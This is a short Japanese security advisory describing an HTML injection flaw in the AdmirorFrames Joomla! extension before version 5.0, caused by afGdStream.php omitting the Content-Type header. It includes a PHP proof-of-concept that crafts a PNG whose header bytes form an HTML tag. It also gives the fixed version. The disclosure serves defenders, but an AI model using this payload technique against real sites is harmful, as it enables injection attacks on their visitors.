
AdmirorFrames Joomla! Extension < 5.0 - HTMLインジェクション
AdmirorFrames Joomla! 拡張機能におけるHTMLインジェクション。afGdStream.phpファイルで、画像データを送信する前にContent-Typeヘッダー値を設定していません。そのため、PHPがこのヘッダーのデフォルト値(text/html)を送信し、画像データがHTML文書として解釈されます。
PNGを生成するPHPスクリプトの例(幅と高さのフィールドをHTMLタグ<s>に設定):
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
ウェブブラウザでexample.png概念実証ファイルをレンダリングした結果:
概念実証
この問題はContent-Typeヘッダーのデフォルト値の使用によって引き起こされました。この問題はAdmirorFrames Joomla! Extensionのバージョン5.0で修正されました。
< 5.0
AdmirorFrames Joomla! Extensionをバージョン5.0以上に更新してください。